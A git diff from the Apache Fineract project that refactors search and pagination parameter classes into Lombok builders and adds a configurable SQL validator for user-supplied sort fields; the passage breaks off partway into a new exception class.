FINERACT-2076: SQL query optimization
diff --git a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
index bf7c152..ccf3f0d 100644
--- a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
+++ b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
@@ -147,7 +147,8 @@
@QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId,
@Context final UriInfo uriInfo) {
this.platformSecurityContext.authenticatedUser();
- SearchParameters params = SearchParameters.forProvisioningEntries(entryId, officeId, productId, categoryId, offset, limit);
+ SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).provisioningEntryId(entryId).officeId(officeId)
+ .productId(productId).categoryId(categoryId).build();
Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS);
diff --git a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
index 39818d3..7873e44 100644
--- a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
+++ b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
@@ -319,33 +319,33 @@
String whereClose = " where ";
List<Object> items = new ArrayList<>();
- if (searchParams.isProvisioningEntryIdPassed()) {
+ if (searchParams.hasProvisioningEntryId()) {
sqlBuilder.append(whereClose + " entry.history_id = ?");
items.add(searchParams.getProvisioningEntryId());
whereClose = " and ";
}
- if (searchParams.isOfficeIdPassed()) {
+ if (searchParams.hasOfficeId()) {
sqlBuilder.append(whereClose + " entry.office_id = ?");
items.add(searchParams.getOfficeId());
whereClose = " and ";
}
- if (searchParams.isProductIdPassed()) {
+ if (searchParams.hasProductId()) {
sqlBuilder.append(whereClose + " entry.product_id = ?");
items.add(searchParams.getProductId());
whereClose = " and ";
}
- if (searchParams.isCategoryIdPassed()) {
+ if (searchParams.hasCategoryId()) {
sqlBuilder.append(whereClose + " entry.category_id = ?");
items.add(searchParams.getCategoryId());
}
sqlBuilder.append(" order by entry.id");
- if (searchParams.isLimited()) {
+ if (searchParams.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParams.getLimit());
- if (searchParams.isOffset()) {
+ if (searchParams.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParams.getOffset());
}
}
diff --git a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
index bd42683..283a9a0 100644
--- a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
+++ b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
@@ -50,6 +50,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.teller.data.CashierData;
import org.apache.fineract.organisation.teller.data.CashierTransactionData;
import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData;
@@ -70,6 +71,7 @@
private final DefaultToApiJsonSerializer<TellerData> jsonSerializer;
private final TellerManagementReadPlatformService readPlatformService;
private final PortfolioCommandSourceWritePlatformService commandWritePlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON })
@@ -315,7 +317,10 @@
final LocalDate fromDate = null;
final LocalDate toDate = null;
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate,
toDate, currencyCode, searchParameters);
@@ -344,7 +349,10 @@
final LocalDate fromDate = null;
final LocalDate toDate = null;
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
diff --git a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
index 39c7933..7667fdf 100644
--- a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
+++ b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
@@ -56,15 +56,9 @@
}
public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) {
- final Integer offset = null;
- final Integer limit = null;
- final String orderBy = null;
- final String sortOrder = null;
- final LocalDate fromDate = null;
- final LocalDate toDate = null;
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().build();
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService
- .retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
+ .retrieveCashierTransactionsWithSummary(cashierId, false, null, null, currencyCode, searchParameters);
if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) {
throw new CashierInsufficientAmountException();
}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
index 95347b7..f78119b 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
@@ -76,6 +76,8 @@
private FineractModulesProperties module;
+ private FineractSqlValidationProperties sqlValidation;
+
@Getter
@Setter
public static class FineractTenantProperties {
@@ -533,4 +535,38 @@
public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties {
}
+
+ @Getter
+ @Setter
+ public static class FineractSqlValidationProperties {
+
+ private List<FineractSqlValidationPatternProperties> patterns;
+ private List<FineractSqlValidationProfileProperties> profiles;
+ }
+
+ @Getter
+ @Setter
+ public static class FineractSqlValidationProfileProperties {
+
+ private String name;
+ private String description;
+ private List<FineractSqlValidationPatternReferenceProperties> patternRefs;
+ private Boolean enabled = true;
+ }
+
+ @Getter
+ @Setter
+ public static class FineractSqlValidationPatternReferenceProperties {
+
+ private String name;
+ private Integer order;
+ }
+
+ @Getter
+ @Setter
+ public static class FineractSqlValidationPatternProperties {
+
+ private String name;
+ private String pattern;
+ }
}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
index 4a2eb6b..aba4790 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
@@ -18,101 +18,62 @@
*/
package org.apache.fineract.infrastructure.core.data;
+import lombok.AccessLevel;
+import lombok.Builder;
+import lombok.Getter;
import org.apache.commons.lang3.StringUtils;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
-/**
- * <p>
- * Immutable data object representing pagination parameter values.
- * </p>
- */
-public final class PaginationParameters {
+@Builder
+@Getter
+public class PaginationParameters {
- private final boolean paged;
- private final Integer offset;
- private final Integer limit;
- private final String orderBy;
- private final String sortOrder;
+ // TODO: why do we really need this class? SearchParameters seems to provide similar functionality
- public static PaginationParameters instance(Boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
- if (null == paged) {
- paged = false;
- }
+ public static final int DEFAULT_MAX_LIMIT = 200;
- final Integer maxLimitAllowed = getCheckedLimit(limit);
-
- return new PaginationParameters(paged, offset, maxLimitAllowed, orderBy, sortOrder);
- }
-
- private PaginationParameters(boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
- SQLInjectionValidator.validateSQLInput(orderBy);
- SQLInjectionValidator.validateSQLInput(sortOrder);
-
- this.paged = paged;
- this.offset = offset;
- this.limit = limit;
- this.orderBy = orderBy;
- this.sortOrder = sortOrder;
- }
-
- public static Integer getCheckedLimit(final Integer limit) {
-
- final Integer maxLimitAllowed = 200;
- // default to max limit first off
- Integer checkedLimit = maxLimitAllowed;
-
- if (limit != null && limit > 0) {
- checkedLimit = limit;
- } else if (limit != null) {
- // unlimited case: limit provided and 0 or less
- checkedLimit = null;
- }
-
- return checkedLimit;
- }
-
- public boolean isPaged() {
- return this.paged;
- }
-
- public Integer getOffset() {
- return this.offset;
- }
+ private boolean paged;
+ private Integer offset;
+ @Getter(AccessLevel.NONE)
+ private Integer limit;
+ private String orderBy;
+ private String sortOrder;
public Integer getLimit() {
- return this.limit;
+ if (limit == null) {
+ return DEFAULT_MAX_LIMIT;
+ }
+
+ if (limit > 0) {
+ return limit;
+ }
+
+ return null; // unlimited (0 or less)
}
- public String getOrderBy() {
- return this.orderBy;
- }
-
- public String getSortOrder() {
- return this.sortOrder;
- }
-
- public boolean isOrderByRequested() {
+ public boolean hasOrderBy() {
return StringUtils.isNotBlank(this.orderBy);
}
- public boolean isSortOrderProvided() {
+ public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder);
}
- public boolean isLimited() {
- return this.limit != null && this.limit.intValue() > 0;
+ public boolean hasLimit() {
+ return this.limit != null && this.limit > 0;
}
- public boolean isOffset() {
+ public boolean hasOffset() {
return this.offset != null;
}
+ // TODO: following functions are just doing too much in one place; will disappear with type safe queries
+
public String orderBySql() {
final StringBuilder sql = new StringBuilder();
- if (this.isOrderByRequested()) {
+ if (this.hasOrderBy()) {
sql.append(" order by ").append(this.getOrderBy());
- if (this.isSortOrderProvided()) {
+ if (this.hasSortOrder()) {
sql.append(' ').append(this.getSortOrder());
}
}
@@ -121,9 +82,9 @@
public String limitSql() {
final StringBuilder sql = new StringBuilder();
- if (this.isLimited()) {
+ if (this.hasLimit()) {
sql.append(" limit ").append(this.getLimit());
- if (this.isOffset()) {
+ if (this.hasOffset()) {
sql.append(" offset ").append(this.getOffset());
}
}
@@ -132,10 +93,10 @@
public String paginationSql() {
final StringBuilder sqlBuilder = new StringBuilder(50);
- if (this.isOrderByRequested()) {
+ if (this.hasOrderBy()) {
sqlBuilder.append(' ').append(this.orderBySql());
}
- if (this.isLimited()) {
+ if (this.hasLimit()) {
sqlBuilder.append(' ').append(this.limitSql());
}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
index 856c49b..f8a17b5 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
@@ -34,7 +34,7 @@
public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues,
final String resourceName) {
final List<ApiParameterError> dataValidationErrors = new ArrayList<>();
- if (parameters.isOrderByRequested() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
+ if (parameters.hasOrderBy() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy()
+ "' is not supported. The supported orderBy values are " + supportedOrdeByValues;
final ApiParameterError error = ApiParameterError.parameterError(
@@ -43,7 +43,7 @@
dataValidationErrors.add(error);
}
- if (parameters.isSortOrderProvided() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
+ if (parameters.hasSortOrder() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder()
+ "' is not supported. The supported sortOrder values are " + sortOrderValues;
final ApiParameterError error = ApiParameterError.parameterError(
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
index 879d0f4..5339bf4 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
@@ -18,518 +18,113 @@
*/
package org.apache.fineract.infrastructure.core.service;
+import lombok.AccessLevel;
import lombok.AllArgsConstructor;
import lombok.Builder;
+import lombok.Getter;
import org.apache.commons.lang3.StringUtils;
@Builder
+@Getter
@AllArgsConstructor
-public final class SearchParameters {
+public class SearchParameters {
- private final Long officeId;
- private final String externalId;
- private final String name;
- private final String hierarchy;
- private final String firstname;
- private final String lastname;
- private final String status;
- private final Integer offset;
- private final Integer limit;
- private final String orderBy;
- private final String sortOrder;
- private final String accountNo;
- private final String currencyCode;
+ public static final int DEFAULT_MAX_LIMIT = 200;
- private final Long staffId;
+ private Long officeId;
+ private String externalId;
+ private String name;
+ private String hierarchy;
+ private String firstname;
+ private String lastname;
+ private String status;
+ private Integer offset;
+ @Getter(AccessLevel.NONE)
+ private Integer limit;
+ private String orderBy;
+ private String sortOrder;
+ private String accountNo;
+ private String currencyCode;
+ private Long staffId;
+ private Long loanId;
+ private Long savingsId;
+ @Getter(AccessLevel.NONE)
+ private Boolean orphansOnly;
+ private Long provisioningEntryId;
+ private Long productId;
+ private Long categoryId;
+ @Getter(AccessLevel.NONE)
+ private Boolean isSelfUser;
- private final Long loanId;
+ public Integer getLimit() {
+ if (limit == null) {
+ return DEFAULT_MAX_LIMIT;
+ }
- private final Long savingsId;
- private final Boolean orphansOnly;
+ if (limit > 0) {
+ return limit;
+ }
- // Provisioning Entries Search Params
- private final Long provisioningEntryId;
- private final Long productId;
- private final Long categoryId;
- private final boolean isSelfUser;
-
- public static SearchParameters from(final Long officeId, final String externalId, final String name, final String hierarchy) {
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
- return new SearchParameters(officeId, externalId, name, hierarchy, null, null, null, null, null, null, staffId, accountNo, loanId,
- savingsId, orphansOnly, isSelfUser);
+ return null; // unlimited (0 or less)
}
- public static SearchParameters forClients(final Long officeId, final String externalId, final String displayName,
- final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
- final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
-
- return new SearchParameters(officeId, externalId, displayName, hierarchy, firstname, lastname, status, offset, maxLimitAllowed,
- orderBy, sortOrder, staffId, accountNo, loanId, savingsId, orphansOnly, isSelfUser);
+ public Boolean getOrphansOnly() {
+ return Boolean.TRUE.equals(orphansOnly);
}
- public static SearchParameters forGroups(final Long officeId, final Long staffId, final String externalId, final String name,
- final String hierarchy, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
- final Boolean orphansOnly) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final boolean isSelfUser = false;
-
- return new SearchParameters(officeId, externalId, name, hierarchy, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
+ public Boolean getIsSelfUser() {
+ return Boolean.TRUE.equals(isSelfUser);
}
- public static SearchParameters forOffices(final String orderBy, final String sortOrder) {
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
- return new SearchParameters(null, null, null, null, null, null, null, null, orderBy, sortOrder, null, null, null, null, orphansOnly,
- isSelfUser);
- }
-
- public static SearchParameters forLoans(final String externalId, final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder, final String accountNo) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder, final Long loanId, final Long savingsId) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
- loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder, final Long loanId, final Long savingsId, final String currencyCode) {
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Boolean orphansOnly = false;
-
- return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
- loanId, savingsId, orphansOnly, currencyCode);
- }
-
- public static SearchParameters forPagination(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
- savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forPaginationAndAccountNumberSearch(final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder, final String accountNumber) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, accountNumber,
- loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forPagination(final Integer offset, final Integer limit) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final String orderBy = null;
- final String sortOrder = null;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
- savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forProvisioningEntries(final Long provisioningEntryId, final Long officeId, final Long productId,
- final Long categoryId, final Integer offset, final Integer limit) {
- return new SearchParameters(provisioningEntryId, officeId, productId, categoryId, offset, limit);
- }
-
- public static SearchParameters forSavings(final String externalId, final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forAccountTransfer(final String externalId, final Integer offset, final Integer limit,
- final String orderBy, final String sortOrder) {
-
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forSMSCampaign(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
-
- final String externalId = null;
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- public static SearchParameters forEmailCampaign(final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder) {
-
- final String externalId = null;
- final Integer maxLimitAllowed = getCheckedLimit(limit);
- final Long staffId = null;
- final String accountNo = null;
- final Long loanId = null;
- final Long savingsId = null;
- final Boolean orphansOnly = false;
- final boolean isSelfUser = false;
-
- return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
- accountNo, loanId, savingsId, orphansOnly, isSelfUser);
- }
-
- private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
- final String firstname, final String lastname, final String status, final Integer offset, final Integer limit,
- final String orderBy, final String sortOrder, final Long staffId, final String accountNo, final Long loanId,
- final Long savingsId, final Boolean orphansOnly, boolean isSelfUser) {
- this.officeId = officeId;
- this.externalId = externalId;
- this.name = name;
- this.hierarchy = hierarchy;
- this.firstname = firstname;
- this.lastname = lastname;
- this.offset = offset;
- this.limit = limit;
- this.orderBy = orderBy;
- this.sortOrder = sortOrder;
- this.staffId = staffId;
- this.accountNo = accountNo;
- this.loanId = loanId;
- this.savingsId = savingsId;
- this.orphansOnly = orphansOnly;
- this.currencyCode = null;
- this.provisioningEntryId = null;
- this.productId = null;
- this.categoryId = null;
- this.isSelfUser = isSelfUser;
- this.status = status;
-
- }
-
- private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
- final String firstname, final String lastname, final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder, final Long staffId, final String accountNo, final Long loanId, final Long savingsId,
- final Boolean orphansOnly, boolean isSelfUser) {
- this.officeId = officeId;
- this.externalId = externalId;
- this.name = name;
- this.hierarchy = hierarchy;
- this.firstname = firstname;
- this.lastname = lastname;
- this.offset = offset;
- this.limit = limit;
- this.orderBy = orderBy;
- this.sortOrder = sortOrder;
- this.staffId = staffId;
- this.accountNo = accountNo;
- this.loanId = loanId;
- this.savingsId = savingsId;
- this.orphansOnly = orphansOnly;
- this.currencyCode = null;
- this.provisioningEntryId = null;
- this.productId = null;
- this.categoryId = null;
- this.isSelfUser = isSelfUser;
- this.status = null;
- }
-
- private SearchParameters(final Long provisioningEntryId, final Long officeId, final Long productId, final Long categoryId,
- final Integer offset, final Integer limit) {
- this.externalId = null;
- this.name = null;
- this.hierarchy = null;
- this.firstname = null;
- this.lastname = null;
- this.orderBy = null;
- this.sortOrder = null;
- this.staffId = null;
- this.accountNo = null;
- this.loanId = null;
- this.savingsId = null;
- this.orphansOnly = null;
- this.currencyCode = null;
- this.officeId = officeId;
- this.offset = offset;
- this.limit = limit;
- this.provisioningEntryId = provisioningEntryId;
- this.productId = productId;
- this.categoryId = categoryId;
- this.isSelfUser = false;
- this.status = null;
-
- }
-
- public SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy, final String firstname,
- final String lastname, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
- final Long staffId, final String accountNo, final Long loanId, final Long savingsId, final Boolean orphansOnly,
- final String currencyCode) {
- this.officeId = officeId;
- this.externalId = externalId;
- this.name = name;
- this.hierarchy = hierarchy;
- this.firstname = firstname;
- this.lastname = lastname;
- this.offset = offset;
- this.limit = limit;
- this.orderBy = orderBy;
- this.sortOrder = sortOrder;
- this.staffId = staffId;
- this.accountNo = accountNo;
- this.loanId = loanId;
- this.savingsId = savingsId;
- this.orphansOnly = orphansOnly;
- this.currencyCode = currencyCode;
- this.provisioningEntryId = null;
- this.productId = null;
- this.categoryId = null;
- this.isSelfUser = false;
- this.status = null;
-
- }
-
- public boolean isOrderByRequested() {
+ public boolean hasOrderBy() {
return StringUtils.isNotBlank(this.orderBy);
}
- public boolean isSortOrderProvided() {
+ public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder);
}
- public static Integer getCheckedLimit(final Integer limit) {
-
- final Integer maxLimitAllowed = 200;
- // default to max limit first off
- Integer checkedLimit = maxLimitAllowed;
-
- if (limit != null && limit > 0) {
- checkedLimit = limit;
- } else if (limit != null) {
- // unlimited case: limit provided and 0 or less
- checkedLimit = null;
- }
-
- return checkedLimit;
- }
-
- public boolean isOfficeIdPassed() {
+ public boolean hasOfficeId() {
return this.officeId != null && this.officeId != 0;
}
- public boolean isCurrencyCodePassed() {
- return this.currencyCode != null;
+ public boolean hasCurrencyCode() {
+ return StringUtils.isNotBlank(this.currencyCode);
}
- public boolean isLimited() {
- return this.limit != null && this.limit.intValue() > 0;
+ public boolean hasLimit() {
+ return this.limit != null && this.limit > 0;
}
- public boolean isOffset() {
+ public boolean hasOffset() {
return this.offset != null;
}
- public boolean isScopedByOfficeHierarchy() {
+ public boolean hasHierarchy() {
return StringUtils.isNotBlank(this.hierarchy);
}
- public Long getOfficeId() {
- return this.officeId;
- }
-
- public String getCurrencyCode() {
- return this.currencyCode;
- }
-
- public String getExternalId() {
- return this.externalId;
- }
-
- public String getName() {
- return this.name;
- }
-
- public String getHierarchy() {
- return this.hierarchy;
- }
-
- public String getFirstname() {
- return this.firstname;
- }
-
- public String getLastname() {
- return this.lastname;
- }
-
- public String getStatus() {
- return this.status;
- }
-
- public Integer getOffset() {
- return this.offset;
- }
-
- public Integer getLimit() {
- return this.limit;
- }
-
- public String getOrderBy() {
- return this.orderBy;
- }
-
- public String getSortOrder() {
- return this.sortOrder;
- }
-
- public boolean isStaffIdPassed() {
+ public boolean hasStaffId() {
return this.staffId != null && this.staffId != 0;
}
- public Long getStaffId() {
- return this.staffId;
- }
-
- public String getAccountNo() {
- return this.accountNo;
- }
-
- public boolean isLoanIdPassed() {
+ public boolean hasLoanId() {
return this.loanId != null && this.loanId != 0;
}
- public boolean isSavingsIdPassed() {
+ public boolean hasSavingsId() {
return this.savingsId != null && this.savingsId != 0;
}
- public Long getLoanId() {
- return this.loanId;
- }
-
- public Long getSavingsId() {
- return this.savingsId;
- }
-
- public Boolean isOrphansOnly() {
- if (this.orphansOnly != null) {
- return this.orphansOnly;
- }
- return false;
- }
-
- public Long getProvisioningEntryId() {
- return this.provisioningEntryId;
- }
-
- public boolean isProvisioningEntryIdPassed() {
+ public boolean hasProvisioningEntryId() {
return this.provisioningEntryId != null && this.provisioningEntryId != 0;
}
- public Long getProductId() {
- return this.productId;
- }
-
- public boolean isProductIdPassed() {
+ public boolean hasProductId() {
return this.productId != null && this.productId != 0;
}
- public Long getCategoryId() {
- return this.categoryId;
- }
-
- public boolean isCategoryIdPassed() {
+ public boolean hasCategoryId() {
return this.categoryId != null && this.categoryId != 0;
}
-
- public boolean isSelfUser() {
- return this.isSelfUser;
- }
-
- /**
- * creates an instance of the SearchParameters from a request for the report mailing job run history
- *
- * @return SearchParameters object
- **/
- public static SearchParameters fromReportMailingJobRunHistory(final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder) {
- final Integer maxLimitAllowed = getCheckedLimit(limit);
-
- return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
- null, false);
- }
-
- /**
- * creates an instance of the {@link SearchParameters} from a request for the report mailing job
- *
- * @return {@link SearchParameters} object
- */
- public static SearchParameters fromReportMailingJob(final Integer offset, final Integer limit, final String orderBy,
- final String sortOrder) {
- final Integer maxLimitAllowed = getCheckedLimit(limit);
-
- return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
- null, false);
- }
}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java
new file mode 100644
index 0000000..e6c8c78
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java
@@ -0,0 +1,30 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.exception;
+
+import lombok.Getter;
